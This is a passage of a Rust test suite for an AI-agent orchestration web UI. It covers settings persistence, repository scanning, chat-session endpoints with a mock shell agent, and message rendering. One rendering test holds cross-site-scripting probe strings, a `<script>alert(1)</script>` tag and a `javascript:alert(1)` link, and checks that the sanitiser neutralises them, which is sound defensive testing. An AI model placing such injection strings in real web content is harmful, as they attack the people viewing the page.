13523        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13524        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13525            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13526        }
13527        let error = f
13528            .get(&format!("/api/settings?repo={}", broken.display()))
13529            .await;
13530        assert_eq!(error.status, 200);
13531        assert!(error.json()["error"]["message"].is_string());
13532        assert_eq!(error.json()["repositories"], default["repositories"]);
13533    }
13534
13535    #[tokio::test]
13536    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13537        let (_tmp, repo, machine) =
13538            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13539        let f = Fixture::with_repo_and_machine(repo, machine).await;
13540        let res = f.get("/api/settings").await;
13541        assert_eq!(res.status, 200, "{}", res.body);
13542        let v = res.json();
13543        assert!(v["error"].is_null(), "{v}");
13544        let role = |k: &str| {
13545            v["roles"]
13546                .as_array()
13547                .and_then(|r| r.iter().find(|x| x["key"] == k))
13548                .cloned()
13549                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13550        };
13551        assert_eq!(role("judges")["source"], "machine");
13552        assert_eq!(role("judges")["editable"], true);
13553        assert_eq!(role("implementers")["source"], "default");
13554        let adv = role("advisors");
13555        assert_eq!(adv["fallback"], "judges");
13556        assert!(
13557            adv["seats"]
13558                .as_array()
13559                .is_some_and(|s| s.iter().all(|x| x == "b")),
13560            "{adv}"
13561        );
13562        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13563        assert_eq!(v["agents"][0]["source"], "repo");
13564    }
13565
13566    #[tokio::test]
13567    async fn settings_get_reports_a_config_that_does_not_parse() {
13568        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13569        let f = Fixture::with_repo_and_machine(repo, machine).await;
13570        let res = f.get("/api/settings").await;
13571        assert_eq!(res.status, 200, "{}", res.body);
13572        let v = res.json();
13573        assert!(v["error"]["message"].is_string(), "{v}");
13574        assert!(
13575            v["error"]["path"]
13576                .as_str()
13577                .is_some_and(|p| p.ends_with("magi.toml")),
13578            "{v}"
13579        );
13580        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13581    }
13582
13583    #[tokio::test]
13584    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13585        let (_tmp, repo, machine) = settings_dirs(
13586            SETTINGS_AGENTS,
13587            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13588        );
13589        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13590        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13591        let rev = f.get("/api/settings").await.json()["revision"]
13592            .as_str()
13593            .expect("revision")
13594            .to_owned();
13595        let body = serde_json::json!({
13596            "revision": rev,
13597            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13598        })
13599        .to_string();
13600        let res = f.put("/api/settings/roles", &body).await;
13601        assert_eq!(res.status, 200, "{}", res.body);
13602        let text = std::fs::read_to_string(&machine).expect("machine");
13603        assert_eq!(
13604            text,
13605            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13606        );
13607        assert_eq!(
13608            std::fs::read(repo.join("magi.toml")).expect("read"),
13609            repo_before
13610        );
13611        let again = f.get("/api/settings").await.json();
13612        let judges = again["roles"]
13613            .as_array()
13614            .expect("roles")
13615            .iter()
13616            .find(|r| r["key"] == "judges")
13617            .expect("judges")
13618            .clone();
13619        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13620        // The old revision is now stale.
13621        let stale = f.put("/api/settings/roles", &body).await;
13622        assert_eq!(stale.status, 409, "{}", stale.body);
13623    }
13624
13625    #[tokio::test]
13626    async fn settings_counts_are_reported_and_saved() {
13627        let (_tmp, repo, machine) = settings_dirs(
13628            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13629            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13630        );
13631        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13632        let v = f.get("/api/settings").await.json();
13633        let count = |v: &serde_json::Value, k: &str| {
13634            v["roles"]
13635                .as_array()
13636                .and_then(|r| r.iter().find(|x| x["key"] == k))
13637                .map(|x| x["count"].clone())
13638                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13639        };
13640        let imp = count(&v, "implementers");
13641        assert_eq!(imp["value"], 2);
13642        assert_eq!(imp["source"], "machine");
13643        assert_eq!(imp["file_key"], "candidates");
13644        assert_eq!(imp["roster_len"], 2);
13645        assert_eq!(imp["backups"], 0);
13646        assert_eq!(count(&v, "judges")["source"], "default");
13647        assert_eq!(count(&v, "advisors")["min"], 0);
13648        assert_eq!(count(&v, "reviewers")["editable"], false);
13649        assert!(
13650            count(&v, "reviewers")["locked_reason"]
13651                .as_str()
13652                .is_some_and(|m| m.contains("graph.reviewers"))
13653        );
13654        assert!(count(&v, "fixer").is_null());
13655        let rev = v["revision"].as_str().expect("revision").to_owned();
13656        let body = serde_json::json!({
13657            "revision": rev,
13658            "roles": { "judges": ["b"] },
13659            "counts": { "implementers": 1, "advisors": 0 }
13660        })
13661        .to_string();
13662        let res = f.put("/api/settings/roles", &body).await;
13663        assert_eq!(res.status, 200, "{}", res.body);
13664        let text = std::fs::read_to_string(&machine).expect("machine");
13665        assert_eq!(
13666            text,
13667            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13668        );
13669        let after = f.get("/api/settings").await.json();
13670        assert_eq!(count(&after, "implementers")["value"], 1);
13671        assert_eq!(count(&after, "implementers")["backups"], 1);
13672        assert_eq!(count(&after, "advisors")["value"], 0);
13673        let before = std::fs::read_to_string(&machine).expect("machine");
13674        let rev = after["revision"].as_str().expect("revision").to_owned();
13675        for counts in [
13676            serde_json::json!({ "judges": 0 }),
13677            serde_json::json!({ "judges": "x" }),
13678            serde_json::json!({ "judges": 2.5 }),
13679            serde_json::json!({ "judges": -1 }),
13680            serde_json::json!({ "reviewers": 3 }),
13681            serde_json::json!({ "bogus": 3 }),
13682        ] {
13683            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13684            let res = f.put("/api/settings/roles", &body).await;
13685            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13686            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13687        }
13688    }
13689
13690    #[tokio::test]
13691    async fn settings_put_refuses_without_touching_the_file() {
13692        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13693        let (_tmp, repo, machine) = settings_dirs(
13694            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13695            Some(machine_text),
13696        );
13697        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13698        let rev = f.get("/api/settings").await.json()["revision"]
13699            .as_str()
13700            .expect("revision")
13701            .to_owned();
13702        for roles in [
13703            serde_json::json!({ "judges": ["nope"] }),
13704            serde_json::json!({ "reviewers": ["b"] }),
13705            serde_json::json!({ "bogus": ["a"] }),
13706        ] {
13707            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13708            let res = f.put("/api/settings/roles", &body).await;
13709            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13710            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13711            assert_eq!(
13712                std::fs::read_to_string(&machine).expect("machine"),
13713                machine_text
13714            );
13715        }
13716    }
13717
13718    #[tokio::test]
13719    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13720        let tmp = TempDir::new().expect("tempdir");
13721        let repo = tmp.path().join("repo");
13722        std::fs::create_dir_all(&repo).expect("repo dir");
13723        let root = tmp.path().join("root");
13724        make_checkout(&root, "github.com", "yukimemi", "magi");
13725        std::fs::write(
13726            repo.join("magi.toml"),
13727            format!(
13728                "[repos]\nroots = [{:?}]\n",
13729                root.to_string_lossy().into_owned()
13730            ),
13731        )
13732        .expect("write magi.toml");
13733
13734        let f = Fixture::with_repo(repo).await;
13735        let res = f.get("/api/repos").await;
13736        assert_eq!(res.status, 200, "{}", res.body);
13737        let list = res.json();
13738        let repos = list.as_array().expect("an array");
13739        assert_eq!(repos.len(), 1);
13740        assert_eq!(repos[0]["name"], "yukimemi/magi");
13741        assert!(
13742            repos[0]["path"]
13743                .as_str()
13744                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13745            "{list}"
13746        );
13747    }
13748
13749    #[tokio::test]
13750    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13751        let tmp = TempDir::new().expect("tempdir");
13752        let repo = tmp.path().join("repo");
13753        std::fs::create_dir_all(&repo).expect("repo dir");
13754        let root = tmp.path().join("root");
13755        make_checkout(&root, "github.com", "yukimemi", "magi");
13756        std::fs::write(
13757            repo.join("magi.toml"),
13758            format!(
13759                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13760                root.to_string_lossy().into_owned()
13761            ),
13762        )
13763        .expect("write magi.toml");
13764
13765        let f = Fixture::with_repo(repo).await;
13766        let first = f.get("/api/repos").await;
13767        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13768
13769        // A second checkout appears; within the TTL the cached answer must
13770        // not notice it.
13771        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13772        let second = f.get("/api/repos").await;
13773        assert_eq!(
13774            second.json().as_array().map(Vec::len),
13775            Some(1),
13776            "a fresh cache must not rescan inside the TTL"
13777        );
13778
13779        let refreshed = f.get("/api/repos?refresh=1").await;
13780        assert_eq!(
13781            refreshed.json().as_array().map(Vec::len),
13782            Some(2),
13783            "an explicit refresh must rescan even inside the TTL"
13784        );
13785    }
13786
13787    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13788    /// string, declared straight in a repository's own `magi.toml` rather
13789    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13790    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13791    /// this is safe to run over a real HTTP round trip.
13792    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13793
13794    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13795    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13796    /// even though it takes no turn, and `talk_say` invokes one.
13797    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13798        let tmp = TempDir::new().expect("tempdir");
13799        let repo = tmp.path().join("repo");
13800        std::fs::create_dir_all(&repo).expect("repo dir");
13801        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13802        let f = Fixture::with_repo(repo.clone()).await;
13803        (tmp, repo, f)
13804    }
13805
13806    #[tokio::test]
13807    async fn posting_a_talk_with_remembered_choices_is_soft() {
13808        let (_tmp, _repo, f) = talk_fixture().await;
13809
13810        let good = f
13811            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13812            .await;
13813        assert_eq!(good.status, 201, "{}", good.body);
13814        assert_eq!(good.json()["persona"], "rei");
13815
13816        // Wrong values and wrong types are dropped one by one, never a 4xx.
13817        let stale = f
13818            .post(
13819                "/api/talks",
13820                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13821            )
13822            .await;
13823        assert_eq!(stale.status, 201, "{}", stale.body);
13824        let v = stale.json();
13825        assert_eq!(v["implementers"], 1);
13826        assert_ne!(v["persona"], "nobody");
13827        let typed = f
13828            .post(
13829                "/api/talks",
13830                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13831            )
13832            .await;
13833        assert_eq!(typed.status, 201, "{}", typed.body);
13834
13835        // The strict `agent` field still refuses an unknown id.
13836        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13837        assert!(
13838            !strict.status.to_string().starts_with('2'),
13839            "{}",
13840            strict.body
13841        );
13842    }
13843
13844    #[tokio::test]
13845    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13846        let (_tmp, _repo, f) = talk_fixture().await;
13847
13848        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13849        // is the ordinary way a phone opens a talk.
13850        let opened = f.post("/api/talks", None).await;
13851        assert_eq!(opened.status, 201, "{}", opened.body);
13852        let body = opened.json();
13853        assert_eq!(body["status"], "open");
13854        assert_eq!(
13855            body["turns"].as_array().unwrap().len(),
13856            0,
13857            "opening takes no agent turn: there is nothing yet to answer"
13858        );
13859
13860        // An explicit empty object is the same request as none at all.
13861        let also_opened = f.post("/api/talks", Some("{}")).await;
13862        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13863
13864        let listed = f.get("/api/talks").await.json();
13865        assert_eq!(listed.as_array().unwrap().len(), 2);
13866    }
13867
13868    #[tokio::test]
13869    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13870        let tmp = TempDir::new().expect("tempdir");
13871        let repo = tmp.path().join("repo");
13872        std::fs::create_dir_all(&repo).expect("repo dir");
13873        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13874        std::fs::write(
13875            repo.join("magi.toml"),
13876            format!("{MOCK_AGENT_TOML}\n{second}"),
13877        )
13878        .expect("write magi.toml");
13879        let home = TempDir::new().expect("temp home");
13880        let talks = Talks::at(home.path().join("talks"));
13881        let ui = Arc::new(
13882            Ui::new(
13883                Queue::at(home.path().join("queue")),
13884                Questions::at(home.path().join("questions")),
13885                talks.clone(),
13886                home.path().join("runs"),
13887                home.path().to_path_buf(),
13888                repo.clone(),
13889            )
13890            .with_worktrees_root(home.path().join("wt")),
13891        );
13892        let cfg = config_for(&repo).await.expect("discover config");
13893        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13894        let id = talk.id.clone();
13895        let call = |agent: &str| {
13896            talk_agent(
13897                State(Arc::clone(&ui)),
13898                Path(id.clone()),
13899                Json(TalkAgent {
13900                    agent: agent.to_owned(),
13901                }),
13902            )
13903        };
13904
13905        let unknown = call("nobody").await.expect_err("unknown agent");
13906        assert_eq!(
13907            unknown.status,
13908            StatusCode::BAD_REQUEST,
13909            "{}",
13910            unknown.message
13911        );
13912
13913        {
13914            // Nothing refused so far took a claim, so the guard is free to take
13915            // and holding it is what makes the talk busy.
13916            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13917            let busy = call("second").await.expect_err("busy talk");
13918            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13919            assert!(
13920                busy.message.contains("a talk turn is running"),
13921                "{}",
13922                busy.message
13923            );
13924            drop(guard);
13925        }
13926        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13927
13928        let Json(view) = call("second").await.expect("switch");
13929        assert_eq!(view.talk.agent, "second");
13930        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13931        let saved = talks.get(&id).expect("reload");
13932        assert_eq!(saved.agent, "second");
13933        assert_eq!(saved.turns.len(), 1);
13934        assert!(!view.thinking);
13935        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13936        for agent in ["mock", "second"] {
13937            let Json(view) = call(agent).await.expect("immediate consecutive change");
13938            assert_eq!(view.talk.agent, agent);
13939            assert!(!view.thinking);
13940            assert!(!ui.is_thinking(&id));
13941        }
13942
13943        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13944            .await
13945            .expect("detail");
13946        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13947        assert_eq!(roster, ["mock", "second"]);
13948
13949        let mut closed = talks.get(&id).expect("reload");
13950        talk::close(&mut closed, &talks).expect("close");
13951        let refused = call("mock").await.expect_err("closed talk");
13952        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13953        assert!(
13954            refused.message.contains("takes no more turns"),
13955            "{}",
13956            refused.message
13957        );
13958    }
13959
13960    #[tokio::test]
13961    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13962        let tmp = TempDir::new().expect("tempdir");
13963        let repo = tmp.path().join("repo");
13964        std::fs::create_dir_all(&repo).expect("repo dir");
13965        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13966        let home = TempDir::new().expect("temp home");
13967        let talks = Talks::at(home.path().join("talks"));
13968        let ui = Arc::new(
13969            Ui::new(
13970                Queue::at(home.path().join("queue")),
13971                Questions::at(home.path().join("questions")),
13972                talks.clone(),
13973                home.path().join("runs"),
13974                home.path().to_path_buf(),
13975                repo.clone(),
13976            )
13977            .with_worktrees_root(home.path().join("wt")),
13978        );
13979        let cfg = config_for(&repo).await.expect("discover config");
13980        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13981        let id = talk.id.clone();
13982        let call = |n: u8| {
13983            talk_implementers(
13984                State(Arc::clone(&ui)),
13985                Path(id.clone()),
13986                Json(TalkImplementers { implementers: n }),
13987            )
13988        };
13989
13990        for bad in [0u8, 4] {
13991            let e = call(bad).await.expect_err("out of range");
13992            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13993        }
13994        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13995
13996        {
13997            // Nothing refused so far took a claim, so the guard is free to take
13998            // and holding it is what makes the talk busy.
13999            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14000            let busy = call(2).await.expect_err("busy talk");
14001            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14002            assert!(
14003                busy.message.contains("a talk turn is running"),
14004                "{}",
14005                busy.message
14006            );
14007            drop(guard);
14008        }
14009
14010        let Json(view) = call(3).await.expect("switch");
14011        assert_eq!(view.talk.implementers, 3);
14012        assert!(talks.get(&id).expect("reload").implementers_dirty);
14013        assert!(!view.thinking);
14014        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14015        for n in [1, 2, 3] {
14016            let Json(view) = call(n).await.expect("immediate consecutive change");
14017            assert_eq!(view.talk.implementers, n);
14018            assert!(!view.thinking);
14019            assert!(!ui.is_thinking(&id));
14020        }
14021
14022        let mut closed = talks.get(&id).expect("reload");
14023        talk::close(&mut closed, &talks).expect("close");
14024        let e = call(2).await.expect_err("closed talk");
14025        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14026        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14027    }
14028
14029    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14030    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14031        let tmp = TempDir::new().expect("tempdir");
14032        let repo = tmp.path().join("repo");
14033        std::fs::create_dir_all(&repo).expect("repo dir");
14034        std::fs::write(
14035            repo.join("magi.toml"),
14036            format!("{MOCK_AGENT_TOML}\n{extra}"),
14037        )
14038        .expect("write magi.toml");
14039        let home = TempDir::new().expect("temp home");
14040        let talks = Talks::at(home.path().join("talks"));
14041        let ui = Arc::new(
14042            Ui::new(
14043                Queue::at(home.path().join("queue")),
14044                Questions::at(home.path().join("questions")),
14045                talks.clone(),
14046                home.path().join("runs"),
14047                home.path().to_path_buf(),
14048                repo.clone(),
14049            )
14050            .with_worktrees_root(home.path().join("wt")),
14051        );
14052        let cfg = config_for(&repo).await.expect("discover config");
14053        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14054        (tmp, home, ui, talk.id, repo)
14055    }
14056
14057    #[tokio::test]
14058    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14059        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14060        let mut conversation = ui.talks.get(&id).unwrap();
14061        talk::record(
14062            &mut conversation,
14063            &ui.talks,
14064            "# Update on a task you filed\noperator words",
14065            vec![],
14066        )
14067        .unwrap();
14068        // Simulate an old operator record; headings do not prove authorship.
14069        conversation.turns[0].sender = None;
14070        conversation.turns[0].messages.clear();
14071        ui.talks.put(&mut conversation).unwrap();
14072        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14073        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14074        talk::drain(&mut conversation, &ui.talks).unwrap();
14075        talk::record_reply(
14076            &mut conversation,
14077            &ui.talks,
14078            "about that report",
14079            vec![],
14080            Some(talk::ReplyTarget {
14081                turn: 1,
14082                message: 1,
14083            }),
14084        )
14085        .unwrap();
14086        conversation.turns[2].messages[0]
14087            .reply
14088            .as_mut()
14089            .unwrap()
14090            .sender = None;
14091        conversation.turns.push(talk::Turn {
14092            sender: Some(talk::Sender::Persona),
14093            who: talk::Who::Agent,
14094            body: "magi: actual persona words".into(),
14095            at: Timestamp::now(),
14096            attachments: vec![],
14097            usage: None,
14098            breaks: None,
14099            messages: vec![],
14100            posted_by: None,
14101        });
14102        ui.talks.put(&mut conversation).unwrap();
14103        let view = TalkView::with_config(
14104            ui.talks.get(&id).unwrap(),
14105            false,
14106            None,
14107            &ui.home,
14108            &ui.references,
14109        );
14110        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14111        assert_eq!(
14112            view.talk.turns[1].messages[0].sender,
14113            Some(talk::Sender::Operator)
14114        );
14115        assert_eq!(
14116            view.talk.turns[1].messages[1].sender,
14117            Some(talk::Sender::Magi)
14118        );
14119        assert_eq!(
14120            view.talk.turns[2].messages[0]
14121                .reply
14122                .as_ref()
14123                .unwrap()
14124                .sender,
14125            Some(talk::Sender::Magi)
14126        );
14127        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14128        assert_eq!(view.turn_messages_md[0].len(), 1);
14129        assert!(view.turn_messages_md[0][0].is_none());
14130        assert!(view.turn_messages_md[1][0].is_none());
14131        assert!(view.turn_messages_md[1][1].is_some());
14132    }
14133
14134    #[tokio::test]
14135    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14136        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14137        let mut conversation = ui.talks.get(&id).unwrap();
14138        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14139        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14140        talk::queue_notice(
14141            &mut conversation,
14142            &ui.talks,
14143            &body,
14144            "watch:123",
14145            &|_| false,
14146            None,
14147            display.clone(),
14148        )
14149        .unwrap();
14150        assert!(
14151            !talk::queue_notice(
14152                &mut conversation,
14153                &ui.talks,
14154                &body,
14155                "watch:123",
14156                &|_| false,
14157                None,
14158                display.clone()
14159            )
14160            .unwrap()
14161        );
14162        let saved = ui.talks.get(&id).unwrap();
14163        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14164        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14165        assert!(
14166            view.talk.turns[0].messages[0].display.is_none(),
14167            "operator copy stays literal"
14168        );
14169        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14170        assert!(view.turn_messages_md[0][0].is_none());
14171        let queued_md = view.pending_messages_md[0].clone();
14172        assert_eq!(
14173            queued_md,
14174            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14175        );
14176        talk::drain(&mut conversation, &ui.talks).unwrap();
14177        talk::record_reply(
14178            &mut conversation,
14179            &ui.talks,
14180            "Explain",
14181            vec![],
14182            Some(talk::ReplyTarget {
14183                turn: 1,
14184                message: 0,
14185            }),
14186        )
14187        .unwrap();
14188        let mut saved = ui.talks.get(&id).unwrap();
14189        assert_eq!(saved.turns[1].messages[0].body, body);
14190        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14191        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14192        assert!(!reply.excerpt.contains("automatic report"));
14193        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14194        saved.turns[1].messages[0].display = None; // old MAGI send
14195        ui.talks.put(&mut saved).unwrap();
14196        let view = TalkView::with_config(
14197            ui.talks.get(&id).unwrap(),
14198            false,
14199            None,
14200            &ui.home,
14201            &ui.references,
14202        );
14203        assert_eq!(view.turn_messages_md[1][0], queued_md);
14204        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14205        assert!(
14206            !view.talk.turns[2].messages[0]
14207                .reply
14208                .as_ref()
14209                .unwrap()
14210                .excerpt
14211                .contains("automatic report")
14212        );
14213        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14214    }
14215
14216    #[tokio::test]
14217    async fn consultation_display_hides_directives_in_queue_and_history() {
14218        for node in [
14219            "implement",
14220            crate::land::APPROVAL_NODE,
14221            crate::github_text::ASK_NODE,
14222        ] {
14223            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14224            let mut question = Question::new(
14225                "run-123".into(),
14226                node.into(),
14227                "seat-1".into(),
14228                "Which backend?".into(),
14229                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14230                vec!["SQLite".into(), "Redis".into()],
14231            );
14232            ui.questions.put(&mut question).unwrap();
14233            let body = crate::prompt::chat_consult(&question);
14234            let mut conversation = ui.talks.get(&id).unwrap();
14235            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14236            assert!(
14237                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14238            );
14239            conversation = ui.talks.get(&id).unwrap();
14240            assert_eq!(conversation.pending_messages[0].body, body);
14241            assert!(body.contains("magi answer"));
14242            let mut legacy_pending = conversation.clone();
14243            legacy_pending.pending_messages[0].display = None;
14244            let legacy_view =
14245                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14246            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14247            assert!(legacy_md.contains("Question consultation"));
14248            assert!(!legacy_md.contains("magi answer"));
14249            let view =
14250                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14251            assert!(
14252                view.turn_messages_md[0][0].is_none(),
14253                "operator copy stays literal"
14254            );
14255            let queued_md = view.pending_messages_md[0].clone().unwrap();
14256            let rendered = serde_json::to_string(&queued_md).unwrap();
14257            for visible in [
14258                "Which backend?",
14259                "Context",
14260                "storage",
14261                "SQLite",
14262                "Redis",
14263                "<script>literal</script>",
14264            ] {
14265                assert!(rendered.contains(visible), "missing {visible}");
14266            }
14267            for directive in [
14268                "What to do",
14269                "magi answer",
14270                "Never answer it yourself",
14271                "Do not edit the repository",
14272            ] {
14273                assert!(!rendered.contains(directive), "exposed {directive}");
14274            }
14275            assert_eq!(
14276                view.talk.pending_messages[0].display,
14277                Some(crate::prompt::chat_consult_display(&question))
14278            );
14279            talk::drain(&mut conversation, &ui.talks).unwrap();
14280            let view =
14281                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14282            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14283            assert_eq!(conversation.turns[1].messages[0].body, body);
14284
14285            // Historical consultations lack a snapshot: show a safe placeholder
14286            // rather than parsing instructions or reconstructing mutable facts.
14287            conversation.turns[1].messages[0].display = None;
14288            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14289            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14290            assert!(legacy.contains("Question consultation"));
14291            assert!(!legacy.contains("magi answer"));
14292            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14293        }
14294    }
14295
14296    #[test]
14297    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14298        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14299        let (body, mut display) =
14300            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14301        display.facts = facts.into();
14302        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14303        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14304        let json = serde_json::to_string(&nodes).unwrap();
14305        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14306            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14307        }
14308        assert!(json.contains("<script>alert(1)</script>"));
14309        assert!(!json.contains("javascript:"));
14310        assert!(!json.contains("Tell the operator"));
14311        assert!(!json.contains("untrusted"));
14312        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14313        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14314        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14315        assert_eq!(
14316            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14317            md::to_nodes("# Status", &md::ImageBase::None),
14318        );
14319    }
14320
14321    #[tokio::test]
14322    async fn notification_display_recovers_exact_legacy_completion_references() {
14323        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14324        let mut conversation = ui.talks.get(&id).unwrap();
14325        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14326            id: "task-123",
14327            title: "Change",
14328            status: "done",
14329            reason: None,
14330            run: Some("run-123"),
14331            pr: None,
14332            summary: Some("Merge state unknown"),
14333        });
14334        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14335        conversation.turns[0].sender = None;
14336        conversation.turns[0].messages.clear();
14337        conversation.turns[0].breaks = None;
14338        conversation.pending = body.clone();
14339        conversation
14340            .completion_notices
14341            .push(crate::chat_notify::CompletionReference {
14342                task: "task-123".into(),
14343                run: Some("run-123".into()),
14344                notice: body.clone(),
14345            });
14346        ui.talks.put(&mut conversation).unwrap();
14347        let view = TalkView::with_config(
14348            ui.talks.get(&id).unwrap(),
14349            false,
14350            None,
14351            &ui.home,
14352            &ui.references,
14353        );
14354        assert_eq!(
14355            view.talk.turns[0].messages[0].display,
14356            Some(display.clone())
14357        );
